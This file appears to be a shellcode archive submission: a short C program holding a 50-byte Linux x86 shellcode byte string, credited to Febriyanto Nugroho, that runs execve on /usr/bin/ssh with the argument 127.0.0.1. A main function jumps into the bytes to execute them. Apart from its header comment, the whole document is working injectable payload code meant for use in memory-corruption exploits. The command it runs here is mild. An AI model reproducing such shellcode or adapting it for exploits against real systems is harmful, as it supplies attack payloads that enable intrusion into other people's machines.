// linux/x86 execve("/usr/bin/ssh", ["/usr/bin/ssh", "127.0.0.1"], NULL) - 50 bytes // Febriyanto Nugroho #include <stdio.h> char shellcode[] = "\x6a\x0b" "\x58" "\x99" "\x52" "\x68\x2f\x73\x73\x68" "\x68\x2f\x62\x69\x6e" "\x68\x2f\x75\x73\x72" "\x89\xe3" "\x52" "\x6a\x31" "\x66\x68\x30\x2e" "\x66\x68\x30\x2e" "\x66\x68\x37\x2e" "\x66\x68\x31\x32" "\x89\xe1" "\x52" "\x51" "\x53" "\x89\xe1" "\xcd\x80"; int main(int argc, char **argv) { asm("jmp %0;" : "=m" (shellcode)); }